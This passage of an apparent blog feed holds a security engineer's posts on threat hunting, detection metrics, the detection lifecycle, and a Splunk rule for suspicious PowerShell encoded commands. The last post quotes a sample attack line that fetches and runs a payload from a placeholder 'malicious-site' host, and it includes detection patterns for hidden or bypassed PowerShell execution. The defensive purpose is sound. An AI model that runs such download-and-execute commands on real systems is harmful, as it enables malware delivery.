credential stores or invoking DPAPI decryption. Once legitimate software has been excluded, this behavior directly aligns with the attacker’s objective and typically provides a high-fidelity detection.</li></ul><h3>Closing Thoughts</h3><p>Threat intelligence becomes valuable only when it improves your defenses.</p><p>Using Microsoft’s Lumma research as a case study, we translated threat intelligence into hunt hypotheses, validated those hypotheses against enterprise telemetry, evaluated the outcomes, and operationalized the behaviors that provided lasting defensive value.</p><p>The same methodology can be applied to almost any threat report:</p><blockquote><strong><em>Threat Intelligence → Observable Behaviors → Hunt Hypotheses → Investigation → Evaluate Outcomes → Detection Engineering</em></strong></blockquote><p>The threat report may change, but the methodology remains the same.</p><p>The next time you read a threat report, resist the temptation to start with the IOCs. Instead, ask a different question:</p><blockquote>If this attack happened in my environment today, what evidence would it leave behind, and do I have the visibility to find it?</blockquote><p>Threat reports come and go. Malware evolves. Infrastructure changes. Behaviors persist. Hunt the behaviors, and your detections will outlive the campaign that inspired them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a7372d37160" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Measuring Detection Engineering Effectiveness: A Practical Scorecard for Continuous Improvement]]></title>
            <link>https://medium.com/@asah-cyber/measuring-detection-engineering-effectiveness-a-practical-scorecard-for-continuous-improvement-3dc4e3258914?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3dc4e3258914</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 11:08:19 GMT</pubDate>
            <atom:updated>2026-07-07T11:08:19.656Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Beyond False Positives — Part 2</em></strong></p><p>In Part 1, I argued that measuring Detection Engineering effectiveness isn’t the same as measuring operational activity.</p><p>Metrics like detection count, MITRE ATT&amp;CK coverage, or Mean Time to Detect (MTTD) are useful, but they don’t answer the question that really matters:</p><p><strong>Is our Detection Engineering program actually getting better?</strong></p><p>You don’t need a complicated maturity model or weighted scoring system to answer that.</p><p>Start with a handful of meaningful metrics, review them consistently, and use them to guide engineering priorities.</p><p><strong>A Practical Starting Point</strong></p><p>There is no universal Detection Engineering score.</p><p>Every organization has different risks, technologies, and priorities. Instead of prescribing a rigid scoring model, this scorecard focuses on collecting a small set of objective metrics that can be automated, reviewed regularly, and used to guide engineering decisions.</p><p>Think of it as a starting point — not a finished product.</p><p>One deliberate design decision is the absence of a weighted scoring model.</p><p>Not every detection carries the same level of risk, and trying to reduce everything to a single weighted score often introduces more complexity than value. Instead, keep the metrics objective and segment them by what matters to your organization — critical assets, attack paths, business services, or detection priority.</p><p>This preserves business context without making the framework difficult to implement or maintain.</p><blockquote><strong>Note:</strong> This framework measures <strong>engineering effectiveness</strong>, not <strong>organizational risk</strong>. Business context should influence <strong>how you review the metrics — not how you calculate them.</strong></blockquote><p>As your Detection Engineering program matures, your scorecard should evolve with it.</p><p><strong>But every good scorecard starts with the same foundation.</strong></p><p>Every metric you measure should be:</p><ul><li><strong>Objective</strong> — Everyone calculates it the same way.</li><li><strong>Automated</strong> — The data should already exist in your tooling.</li><li><strong>Actionable</strong> — A change in the metric should trigger an engineering discussion.</li><li><strong>Business-aware</strong> — Segment your metrics by business priority (critical assets, attack paths, business services, or detection priority) rather than flattening everything into a single score.</li></ul><p>I’d start with these five metrics.</p><p><strong>1. Detection Lead Time</strong></p><p><strong>Why track it?</strong></p><p>Measures how quickly a detection request becomes production coverage.</p><p><strong>How to collect it</strong></p><p>Calculate the time between <strong>Detection Request Created</strong> and <strong>Detection Deployed</strong> using your ticketing platform (Jira, ServiceNow, Azure DevOps, etc.) and your deployment pipeline or source control (Git, CI/CD, deployment logs).</p><p><strong>2. Zero-Day Response Time</strong></p><p><strong>Why track it?</strong></p><p>Measures how quickly the team responds to critical vulnerabilities or emerging threats.</p><p><strong>How to collect it</strong></p><p>Calculate the time between <strong>Threat Notification</strong> (CTI ticket, vulnerability advisory, or internal request) and <strong>Detection Deployment</strong>.</p><p><strong>3. Detection Validation Coverage</strong></p><p><strong>Why track it?</strong></p><p>Confirms production detections continue to work as expected.</p><p><strong>How to collect it</strong></p><p>Track detections validated through Purple Team exercises, BAS, replay testing, Red Team activities, or lab validation. Store the latest validation date in your detection repository or detection catalog.</p><blockquote><strong>Don’t confuse validation with rule age.</strong> A detection doesn’t need to be updated simply because it’s old. If it continues to detect attacker behavior reliably, leave it alone.</blockquote><p><strong>4. Silent Failure Rate</strong></p><p><strong>Why track it?</strong></p><p>Identifies detections that silently stop working because of telemetry or infrastructure changes.</p><p><strong>How to collect it</strong></p><p>Use SIEM health checks, parser failures, missing data source alerts, telemetry monitoring, or data model health dashboards to identify detections that are no longer functioning as expected.</p><p><strong>5. Analyst Actionability</strong></p><p><strong>Why track it?</strong></p><p>Measures whether alerts lead to analyst-initiated action rather than being routinely dismissed.</p><p><strong>How to collect it</strong></p><p>Calculate the percentage of alerts that result in an analyst opening an investigation, creating an incident, or triggering an automated response using your SIEM, SOAR, or case management platform. The exact definition of <strong>actionable</strong> may vary between organizations, but it should remain objective and consistently applied.</p><blockquote>💡<strong> Tip:</strong> Resist the temptation to measure everything. Start with these five metrics. Expand the scorecard only when it helps your team make better engineering decisions.</blockquote><p><strong>The Metrics Don’t Matter. The Decisions Do.</strong></p><p>Collecting metrics is easy.</p><p>The real value comes from reviewing them <strong>together</strong>.</p><p><strong>Scenario 1 — Engineering Throughput is Slowing</strong></p><p><strong>Quarterly Review</strong></p><ul><li>Detection Lead Time: <strong>6 → 13 days</strong></li><li>Zero-Day Response Time: <strong>1 → 4 days</strong></li><li>Validation Coverage: <strong>94% → 93%</strong></li><li>Silent Failure Rate: <strong>1% → 1%</strong></li><li>Analyst Actionability: <strong>77% → 76%</strong></li></ul><p><strong>What does this tell us?</strong></p><p>Existing detections remain healthy.</p><p>The problem isn’t detection quality — it’s engineering throughput. The team is taking longer to deploy new detections, including urgent coverage for emerging threats.</p><p><strong>Engineering Priority</strong></p><ul><li>Review approval and deployment workflow.</li><li>Reduce backlog.</li><li>Identify engineering bottlenecks.</li></ul><p><strong>Scenario 2 — Detection Health is Declining</strong></p><p>After an endpoint agent upgrade, several event fields change.</p><p><strong>Quarterly Review</strong></p><ul><li>Detection Lead Time: <strong>13 → 12 days</strong></li><li>Zero-Day Response Time: <strong>4 → 4 days</strong></li><li>Validation Coverage: <strong>93% → 66%</strong></li><li>Silent Failure Rate: <strong>1% → 7%</strong></li><li>Analyst Actionability: <strong>76% → 55%</strong></li></ul><p><strong>What does this tell us?</strong></p><p>The team is still delivering detections at the same pace.</p><p>However, declining validation coverage, increasing silent failures, and reduced analyst actionability point to telemetry or data quality issues — not a lack of engineering output.</p><p><strong>Engineering Priority</strong></p><ul><li>Validate detections protecting critical assets.</li><li>Investigate telemetry.</li><li>Restore broken detections before expanding coverage.</li></ul><p>The numbers aren’t the outcome.</p><p>They’re the evidence behind your next engineering decision.</p><p><strong>Why This Matters to Leadership</strong></p><p>Leadership doesn’t need another report showing that 50 new detections were built.</p><p>They need confidence that the Detection Engineering program is improving.</p><p>This scorecard provides that confidence.</p><p>Looking at these metrics together helps leadership understand where the program is improving, where it’s struggling, and where engineering effort should be invested next.</p><blockquote>You’ll notice I haven’t covered automation.</blockquote><blockquote>That’s intentional.</blockquote><blockquote>Every organization has a different technology stack and operating model. Whether you’re using Splunk, Microsoft Sentinel, QRadar, Elastic, or another platform, the implementation will naturally differ.</blockquote><blockquote>The purpose of this article isn’t to prescribe <strong>how</strong> to build the scorecard. It’s to identify <strong>what</strong> to measure and <strong>why</strong> it matters. Once those metrics are available, automation becomes an implementation detail rather than the objective.</blockquote><p><strong>Final Thoughts</strong></p><p>The value of a scorecard isn’t in the metrics it collects.</p><p>It’s in the engineering conversations it starts.</p><p>If it helps your team consistently decide <strong>what to improve next</strong>, then it’s already doing its job.</p><p>Because measuring Detection Engineering effectiveness isn’t about producing better reports.</p><p><strong>It’s about continuously building a better Detection Engineering program.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3dc4e3258914" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Are We Measuring Detection Engineering All Wrong?]]></title>
            <link>https://medium.com/@asah-cyber/are-we-measuring-detection-engineering-all-wrong-7d197bf9d5c9?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d197bf9d5c9</guid>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[metrics-and-analytics]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 16:17:46 GMT</pubDate>
            <atom:updated>2026-06-29T16:17:46.385Z</atom:updated>
            <content:encoded><![CDATA[<p>Beyond False Positives: Why Traditional Detection Metrics Don’t Tell the Whole Story</p><p><em>“We invested heavily in Detection Engineering this year. How do we know it’s actually making us better?”</em></p><p>It’s a fair question.</p><p>Whether it comes from leadership, a CISO, or even the Detection Engineering team itself, it’s a question every mature security organization eventually faces.</p><p>The challenge is that it’s surprisingly difficult to answer.</p><p>Over the past decade, Detection Engineering has matured significantly. We’ve become better at writing detections, mapping them to MITRE ATT&amp;CK, integrating threat intelligence, automating deployments, and reducing false positives. Most mature security teams can readily report metrics like the number of detections in production, ATT&amp;CK coverage, Mean Time to Detect (MTTD), or alert volume.</p><p>These metrics are valuable, but they don’t necessarily answer the question that really matters.</p><blockquote><strong><em>Is our Detection Engineering program actually becoming more effective?</em></strong></blockquote><p>Measuring activity isn’t the same as measuring effectiveness.</p><p>A team can build hundreds of new detections every year and still struggle to detect real-world attacks. Another team might proudly report 90% ATT&amp;CK coverage while spending most of its engineering effort maintaining noisy detections or investigating visibility gaps.</p><p><strong>The numbers look impressive, but the outcomes tell a very different story.</strong></p><h3>The Metrics We Love to Measure</h3><p>Most organizations already track some combination of:</p><ul><li>Number of detections</li><li>MITRE ATT&amp;CK coverage</li><li>False Positive Rate</li><li>Mean Time to Detect (MTTD)</li><li>Alert volume</li><li>Detection backlog</li></ul><p>These are useful operational metrics that provide visibility into the detection ecosystem.</p><p><strong>But none of them, in isolation, tell us whether the Detection Engineering program itself is actually improving.</strong></p><p>This becomes even more important as enterprise environments continue to evolve. Modern attack surfaces extend far beyond traditional endpoints to include cloud workloads, SaaS platforms, identity providers, containers, and hybrid infrastructure. A dashboard reporting high ATT&amp;CK coverage may still leave critical parts of the business largely unmonitored.</p><p>Consider a simple example.</p><h3>Two Organizations, Two Very Different Stories</h3><p>Imagine two organizations.</p><p>Both have around 700 production detections.</p><p>Both report approximately 80% MITRE ATT&amp;CK coverage.</p><p>Both have similar MTTD.</p><p>From an executive dashboard, they appear almost identical.</p><p>Now look a little deeper.</p><p><strong>Organization A</strong></p><ul><li>Over one-third of detections haven’t been reviewed in more than two years.</li><li>Detection requests take months before reaching production.</li><li>Purple team exercises regularly expose gaps in detection coverage.</li><li>Engineers spend most of their time tuning noisy detections instead of developing new capabilities, leaving little time for proactive improvement.</li></ul><p><strong>Organization B</strong></p><ul><li>Every detection is reviewed on a regular schedule.</li><li>New detection requests move from idea to production within weeks.</li><li>Critical attack paths are routinely validated through adversary simulations.</li><li>Stale detections are retired, and engineering effort is focused on closing genuine visibility gaps.</li></ul><p>On paper, the two organizations appear equally mature.</p><p>In reality, one has a Detection Engineering program that continuously evolves, while the other is largely occupied with maintaining what already exists.</p><p>The difference isn’t the number of detections they have.</p><p>It’s the health of the engineering process behind those detections.</p><p><strong>The problem is that most of our existing metrics are designed to measure outputs, not the health of the engineering program producing them.</strong></p><h3>Measuring the Program, Not Just the Output</h3><p>Detection Engineering is still engineering.</p><p>Like software engineering, success isn’t measured simply by output. Shipping more code doesn’t automatically create better software, just as building more detections doesn’t automatically improve an organization’s ability to detect attacks.</p><p>Perhaps we’re asking the wrong questions.</p><p><strong>Maybe these are the questions we should be asking instead:</strong></p><ul><li>Are we detecting the threats that matter most?</li><li>How quickly can we respond to emerging threats?</li><li>How often are detections validated against real attacker behavior?</li><li>Are detections becoming more effective over time?</li><li>Where are we investing engineering effort, and is that investment actually reducing risk?</li></ul><p>These questions are harder to answer.</p><p>They’re also far more meaningful.</p><h3>The Missing Piece</h3><p>As Detection Engineering continues to mature, the way we measure success needs to mature with it.</p><p>Operational metrics will always have a place, but they only tell part of the story. They describe the current state of our detections — not the effectiveness of the program responsible for building, validating, maintaining, and continuously improving them.</p><p>Without a structured way to measure effectiveness, it’s difficult to answer questions like:</p><ul><li>Are we actually improving?</li><li>Where should we invest engineering effort?</li><li>Which parts of the program need attention?</li><li>How do we demonstrate value beyond detection counts and ATT&amp;CK coverage?</li></ul><p>These are the questions that leadership, security architects, and Detection Engineering teams eventually ask.</p><p>Unfortunately, they’re also the hardest to answer.</p><h3>What’s Next?</h3><p>In the next article, I’ll introduce a practical approach for measuring the effectiveness of a Detection Engineering program in an enterprise environment.</p><p>We’ll explore how to build a meaningful scorecard using objective metrics that many organizations already have access to through their SIEM, case management platform, source control, detection repositories, and validation exercises. I’ll also discuss the practical challenges of implementing such a framework and the lessons learned along the way.</p><p><strong>The next evolution of Detection Engineering isn’t building more detections. It’s learning how to measure whether they’re making us better defenders.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d197bf9d5c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond the Alert: Understanding the Detection Engineering Lifecycle]]></title>
            <link>https://medium.com/@asah-cyber/beyond-the-alert-understanding-the-detection-engineering-lifecycle-ad442207bc88?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad442207bc88</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 11:06:57 GMT</pubDate>
            <atom:updated>2026-06-16T11:06:57.539Z</atom:updated>
            <content:encoded><![CDATA[<p>One of the biggest misconceptions about detection engineering is that it’s all about writing detections.</p><p>In reality, writing the query is only one step in a much larger process. The most effective detection programs treat detections as products that need to be researched, tested, tuned, maintained, and eventually retired.</p><p>Over the years, I’ve found that most detections follow a lifecycle that looks something like this:</p><pre>Idea<br> ↓<br>Research<br> ↓<br>Development<br> ↓<br>Validation<br> ↓<br>Deployment<br> ↓<br>Tuning<br> ↓<br>Operationalization<br> ↓<br>Maintenance<br> ↓<br>Retirement</pre><p>Let’s walk through each stage.</p><h3>1. Detection Idea</h3><p>Every detection starts with a reason.</p><p>Common sources include:</p><ul><li>Threat intelligence</li><li>Security incidents</li><li>Purple team exercises</li><li>Vulnerability disclosures</li><li>Threat hunting findings</li><li>ATT&amp;CK coverage reviews</li></ul><p>At this stage, I focus on one question:</p><blockquote><em>What attacker behavior am I trying to detect?</em></blockquote><p>Without a clear answer, the rest of the lifecycle becomes much harder.</p><h3>2. Research</h3><p>Before writing a single line of SPL, I try to understand:</p><ul><li>How the technique works</li><li>What telemetry captures it</li><li>What artifacts it leaves behind</li><li>What legitimate activity may look similar</li></ul><p>For example, if I’m building a DCSync detection, I need to understand both how attackers abuse replication and how legitimate replication occurs in the environment.</p><p>The better the research, the easier the rest of the lifecycle becomes.</p><h3>3. Development</h3><p>This is where the initial detection logic is written.</p><p>My approach is simple:</p><blockquote><em>Start broad.</em></blockquote><p>The goal isn’t to build the perfect detection on day one. The goal is to confirm that the telemetry exists and that the behavior can be detected.</p><p>At this stage, false positives are expected.</p><h3>4. Validation</h3><p>Before deploying a detection, I want evidence that it works.</p><p>Validation can come from:</p><ul><li>Atomic Red Team tests</li><li>Lab simulations</li><li>Historical attack data</li><li>Purple team exercises</li><li>Adversary emulation</li></ul><p>A detection that hasn’t been tested is still just a hypothesis.</p><h3>5. Deployment</h3><p>Once validated, the detection moves into production.</p><p>This is where theory meets reality.</p><p>What works perfectly in a lab may behave very differently across thousands of users, endpoints, and applications.</p><h3>6. Tuning</h3><p>If there’s one stage where most detection engineering effort is spent, it’s tuning.</p><p>The goal isn’t to eliminate every false positive.</p><p>The goal is to reduce enough noise that analysts can trust the signal.</p><p>Common tuning activities include:</p><ul><li>Identifying legitimate administrative activity</li><li>Creating allowlists</li><li>Adjusting thresholds</li><li>Adding contextual filters</li><li>Introducing risk scoring</li></ul><p>This is where detections evolve from ideas into operational analytics.</p><h3>7. Operationalization</h3><p>A detection isn’t complete simply because it generates an alert.</p><p>It needs to fit into the SOC workflow.</p><p>Questions I typically ask include:</p><ul><li>Should this create a notable event?</li><li>Should it generate risk instead?</li><li>What severity should it have?</li><li>Is there a runbook available?</li><li>What context does the analyst need?</li></ul><p>A technically accurate detection can still fail if it isn’t actionable.</p><h3>8. Maintenance</h3><p>Detections are not “set and forget.”</p><p>As environments, applications, and attacker tradecraft evolve, even well-tuned detections can become noisy or ineffective.</p><p>Regular reviews help answer questions such as:</p><ul><li>Is the detection still relevant?</li><li>Is it still firing?</li><li>Has telemetry changed?</li><li>Has the false positive rate increased?</li><li>Does the logic still align with current attacker behavior?</li></ul><p>Maintenance is what keeps a detection effective over time.</p><h3>9. Retirement</h3><p>This is probably the least discussed stage of the lifecycle.</p><p>Not every detection should exist forever.</p><p>Sometimes:</p><ul><li>The telemetry no longer exists</li><li>The technology has been retired</li><li>A newer detection provides better coverage</li><li>The threat is no longer relevant</li></ul><p>Retiring a detection isn’t a failure. It’s often a sign of a mature detection program.</p><h3>The Lifecycle Isn’t Linear</h3><p>One thing I’ve learned over the years is that detection engineering is rarely a straight line.</p><p>The lifecycle diagram is useful for understanding the stages involved, but in practice detections frequently move back and forth between phases.</p><p>For example:</p><ul><li>Validation may uncover gaps that send a detection back to development.</li><li>New applications may introduce unexpected noise, requiring additional tuning.</li><li>Telemetry changes may force a redesign.</li><li>Purple team exercises may expose coverage gaps in mature detections.</li></ul><p>A more realistic representation looks like this:</p><pre>Idea<br> ↓<br>Research<br> ↓<br>Development ↔ Validation<br> ↓<br>Deployment<br> ↓<br>Tuning ↔ Operationalization<br> ↓<br>Maintenance<br> ↑<br> └──── Feedback Loop ────┘</pre><p>The best detection programs embrace this reality rather than treating deployment as the finish line.</p><h3>Real-World Challenges</h3><p>While the lifecycle appears straightforward, production environments introduce challenges that can impact every stage:</p><ul><li><strong>Telemetry Gaps</strong> — Required data isn’t available or collected consistently.</li><li><strong>Data Quality Issues</strong> — Missing fields, parsing problems, and inconsistent normalization.</li><li><strong>Environmental Noise</strong> — Legitimate activity that closely resembles attacker behavior.</li><li><strong>Detection Drift</strong> — Changes in infrastructure or processes affecting detection fidelity.</li><li><strong>Analyst Fatigue</strong> — High alert volumes reducing the effectiveness of otherwise accurate detections.</li></ul><p>The challenge isn’t just building detections — it’s keeping them effective as the environment evolves.</p><h3>Final Thoughts</h3><p>A detection is more than a query.</p><p>It’s a lifecycle that starts with an idea, evolves through testing and tuning, and requires ongoing maintenance to remain effective.</p><p>The most successful detection programs understand that deployment is not the end of the journey — it’s the beginning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad442207bc88" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detection Engineering in Practice: From Noisy Signals to High-Fidelity Detections]]></title>
            <link>https://medium.com/@asah-cyber/detection-engineering-in-practice-from-noisy-signals-to-high-fidelity-detections-dd935a6c8f92?source=rss-c7ffc4b6e36b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd935a6c8f92</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Abhishek Kumar Sah]]></dc:creator>
            <pubDate>Thu, 11 Jun 2026 15:54:28 GMT</pubDate>
            <atom:updated>2026-06-12T05:26:33.392Z</atom:updated>
            <content:encoded><![CDATA[<p>One of the questions I get asked quite often is:</p><p><strong>“How do you approach building detections?”</strong></p><p>While every detection is different, my process is usually the same:</p><ol><li>Understand the attacker behavior.</li><li>Identify the telemetry that captures it.</li><li>Build the simplest possible detection.</li><li>Analyze the noise.</li><li>Tune based on observations.</li><li>Add context until the signal becomes actionable.</li></ol><p>In this post, I’ll walk through a very common use case: D<strong>etecting Suspicious PowerShell Encoded Commands</strong>.</p><p>The goal isn’t to detect every use of PowerShell’s -EncodedCommand parameter. In most enterprise environments, that would generate far too much noise. The goal is to identify executions that are genuinely suspicious and worth an analyst&#39;s time.</p><h3>The Threat</h3><p>PowerShell supports the -EncodedCommand (or -enc) parameter, which allows commands to be passed as Base64-encoded strings.</p><p>Example:</p><pre>powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdw...</pre><p>When decoded, the payload may contain something like:</p><pre>IEX (New-Object Net.WebClient).DownloadString(&quot;http://malicious-site/payload&quot;)</pre><p>Attackers frequently use encoded commands to:</p><ul><li>Obfuscate malicious activity</li><li>Avoid simple command-line detections</li><li>Download and execute second-stage payloads</li></ul><p><strong>MITRE ATT&amp;CK</strong></p><ul><li>Execution: T1059.001 (PowerShell)</li><li>Defense Evasion: T1027 (Obfuscated Files or Information)</li></ul><h3>The Data</h3><p>For this detection, I’m assuming the following telemetry is available and mapped to the Splunk CIM Endpoint data model:</p><ul><li>Sysmon Event ID 1 (Process Creation)</li><li>Windows Event ID 4688 (Process Creation)</li><li>PowerShell Script Block Logging (4104)</li></ul><p>The key CIM fields used throughout the detection are:</p><ul><li>Processes.process — The full command line executed on the endpoint.</li><li>Processes.process_name — The name of the process being executed.</li><li>Processes.parent_process_name — The process responsible for spawning the child process.</li><li>Processes.user — The user context under which the process executed.</li><li>Processes.dest — The endpoint where the activity occurred.</li></ul><p>Before writing any detection, I always validate that the telemetry contains the information I need.</p><p>For this use case, the command line and parent-child process relationship are the most important data points.</p><h3>Initial Detection Hypothesis</h3><p>My starting hypothesis was simple:</p><blockquote><em>If PowerShell is using EncodedCommand, I want to know about it.</em></blockquote><p>The first version of the detection was intentionally broad.</p><pre>| tstats summariesonly=t count<br>    from datamodel=Endpoint.Processes<br>    where Processes.process_name IN (&quot;powershell.exe&quot;,&quot;pwsh.exe&quot;)<br>    by Processes.dest<br>    Processes.user<br>    Processes.process<br>    Processes.parent_process_name<br>    ```comment(Step 1: Identify PowerShell executions using EncodedCommand)```<br>| rex field=Processes.process &quot;(?i)\-(enc|ec|en|encodedcommand)\s+(?&lt;base64_payload&gt;[A-Za-z0-9+/=]{20,})&quot; <br>| where isnotnull(base64_payload)</pre><p>The purpose of this query wasn’t to create an alert.</p><p>It was to answer a question:</p><p><strong>What does EncodedCommand activity actually look like in my environment?</strong></p><h3>Understanding the Noise</h3><p>This is usually the most important part of detection engineering.</p><p>Before tuning anything, I spent time reviewing the results and identifying what was generating the alerts.</p><p>Some of the most common sources were:</p><ul><li>ccmexec.exe (SCCM)</li><li>IntuneManagementExtension.exe (Intune)</li><li>TaniumClient.exe (Tanium)</li><li>pdqdeployrunner.exe (PDQ Deploy)</li><li>pvwaapp.exe (CyberArk)</li><li>healthservice.exe (SCOM)</li><li>wsmprovhost.exe (PowerShell Remoting)</li></ul><p>None of these were malicious.</p><p>More importantly, they represented expected enterprise activity.</p><p>This observation led to my first tuning decision.</p><h3>First Tuning Pass</h3><p>Rather than immediately adding complicated logic, I removed the most common and well-understood sources of noise.</p><pre>| tstats summariesonly=t count<br>    from datamodel=Endpoint.Processes<br>    where Processes.process_name IN (&quot;powershell.exe&quot;,&quot;pwsh.exe&quot;)<br>    by Processes.dest<br>    Processes.user<br>    Processes.process<br>    Processes.parent_process_name <br>    ```comment(Step 1: Extract EncodedCommand payload)```<br>| rex field=Processes.process &quot;(?i)\-(enc|ec|en|encodedcommand)\s+(?&lt;base64_payload&gt;[A-Za-z0-9+/=]{20,})&quot; <br>| where isnotnull(base64_payload) <br>    ```comment(Step 2: Remove known management and deployment tooling)```<br>| search NOT Processes.parent_process_name IN (<br>    &quot;ccmexec.exe&quot;,<br>    &quot;IntuneManagementExtension.exe&quot;,<br>    &quot;TaniumClient.exe&quot;,<br>    &quot;pdqdeployrunner.exe&quot;,<br>    &quot;pvwaapp.exe&quot;,<br>    &quot;healthservice.exe&quot;,<br>    &quot;wsmprovhost.exe&quot;<br>    )</pre><p>This reduced a significant amount of noise without sacrificing visibility into potentially suspicious activity.</p><h3>Adding Context</h3><p>After removing the obvious noise, I started looking at execution patterns.</p><p>One pattern consistently stood out:</p><p>PowerShell being launched by processes such as:</p><ul><li>winword.exe</li><li>excel.exe</li><li>outlook.exe</li><li>powerpnt.exe</li><li>wscript.exe</li><li>cscript.exe</li><li>mshta.exe</li></ul><p>These parent-child relationships are much less common in normal administration workflows and often appear during phishing or malware execution chains.</p><p>Instead of creating a binary allow/block decision, I prefer adding context through risk scoring.</p><pre>    ```comment(Initialize risk score)```<br>| eval risk_score=0 <br>```comment(Office applications spawning PowerShell)```<br>| eval risk_score=if(<br>    match(Processes.parent_process_name,&quot;(?i)(winword\.exe|excel\.exe|outlook\.exe|powerpnt\.exe)&quot;),<br>    risk_score+50,<br>    risk_score<br>    ) <br>    ```comment(Script hosts spawning PowerShell)```<br>| eval risk_score=if(<br>    match(Processes.parent_process_name,&quot;(?i)(wscript\.exe|cscript\.exe|mshta\.exe)&quot;),<br>    risk_score+30,<br>    risk_score<br>    ) <br>    ```comment(Hidden PowerShell execution)```<br>| eval risk_score=if(<br>    match(Processes.process,&quot;(?i)(\-w\s+hidden|\-windowstyle\s+hidden)&quot;),<br>    risk_score+20,<br>    risk_score<br>    ) <br>    ```comment(Execution Policy bypass)```<br>| eval risk_score=if(<br>    match(Processes.process,&quot;(?i)(\-ep\s+bypass|\-executionpolicy\s+bypass)&quot;),<br>    risk_score+20,<br>    risk_score<br>    )</pre><p>At this point, the detection starts moving away from simple pattern matching and towards behavioral detection.</p><h3>Final Detection</h3><p>After a few rounds of tuning, this became my production analytic.</p><pre>| tstats summariesonly=t count<br>    min(_time) as firstTime<br>    max(_time) as lastTime<br>    from datamodel=Endpoint.Processes<br>    where Processes.process_name IN (&quot;powershell.exe&quot;,&quot;pwsh.exe&quot;)<br>    by Processes.dest<br>    Processes.user<br>    Processes.process_name<br>    Processes.process<br>    Processes.parent_process_name <br>    ```comment(Step 1: Identify PowerShell executions using EncodedCommand)```<br>| rex field=Processes.process &quot;(?i)\-(enc|ec|en|encodedcommand)\s+(?&lt;base64_payload&gt;[A-Za-z0-9+/=]{20,})&quot; <br>| where isnotnull(base64_payload) <br>    ```comment(Step 2: Remove common enterprise management tooling)```<br>| search NOT Processes.parent_process_name IN (<br>    &quot;ccmexec.exe&quot;,<br>    &quot;IntuneManagementExtension.exe&quot;,<br>    &quot;TaniumClient.exe&quot;,<br>    &quot;pdqdeployrunner.exe&quot;,<br>    &quot;pvwaapp.exe&quot;,<br>    &quot;healthservice.exe&quot;,<br>    &quot;wsmprovhost.exe&quot;<br>    ) <br>    ```comment(Step 3: Initialize risk score)``` <br>| eval risk_score=0 <br>```comment(Step 4: Office applications spawning PowerShell)```<br>| eval risk_score=if(<br>    match(Processes.parent_process_name,&quot;(?i)(winword\.exe|excel\.exe|outlook\.exe|powerpnt\.exe)&quot;),<br>    risk_score+50,<br>    risk_score<br>    ) <br>    ```comment(Step 5: Script hosts spawning PowerShell)```<br>| eval risk_score=if(<br>    match(Processes.parent_process_name,&quot;(?i)(wscript\.exe|cscript\.exe|mshta\.exe)&quot;),<br>    risk_score+30,<br>    risk_score<br>    ) <br>    ```comment(Step 6: Hidden PowerShell execution)```<br>| eval risk_score=if(<br>    match(Processes.process,&quot;(?i)(\-w\s+hidden|\-windowstyle\s+hidden)&quot;),<br>    risk_score+20,<br>    risk_score<br>    ) <br>    ```comment(Step 7: Execution Policy bypass)``` <br>| eval risk_score=if(<br>    match(Processes.process,&quot;(?i)(\-ep\s+bypass|\-executionpolicy\s+bypass)&quot;),<br>    risk_score+20,<br>    risk_score<br>    ) <br>    ```comment(Step 8: Surface higher-confidence executions)``` <br>| where risk_score &gt;= 50 <br>| rename Processes.dest as host <br>| rename Processes.user as user <br>| rename Processes.process_name as process_name <br>| rename Processes.parent_process_name as parent_process <br>| rename Processes.process as command_line <br>| convert ctime(firstTime) <br>| convert ctime(lastTime) <br>| table firstTime<br>    lastTime<br>    host<br>    user<br>    process_name<br>    parent_process<br>    command_line<br>    count<br>    risk_score <br>| sort - risk_score</pre><p>A few practitioner notes:</p><ol><li><strong>I would not hardcode these exclusions in production.</strong></li></ol><p>In Splunk ES, I would use a macro or lookup:</p><ul><li>| search NOT [ | inputlookup powershell_encoded_command_allowlist ]</li></ul><p>This makes maintenance much easier.</p><p><strong>2. I would not generate a notable directly from every result.</strong></p><p>I’d generate:</p><ul><li>Risk Event (preferred)</li><li>Risk Object = host</li><li>Risk Object = user</li></ul><p>Then allow risk to stack with other detections.</p><p><strong>3. For a mature environment, I’d probably add one more signal:</strong></p><p>Parent process + encoded command + outbound network connection within 5 minutes.</p><p>That’s where the fidelity starts getting very high.</p><p><strong>4. </strong>I’d also like to explicitly state:</p><blockquote>This is not intended to be a copy-paste production rule. The exact exclusions and risk scoring should be based on your environment. The objective is to demonstrate the methodology used to evolve a noisy signal into a high-confidence detection.</blockquote><p>The final SPL isn’t the most important part of this exercise. The real value comes from understanding the data, identifying the noise, and iteratively refining the signal until it becomes something an analyst can trust.</p><img 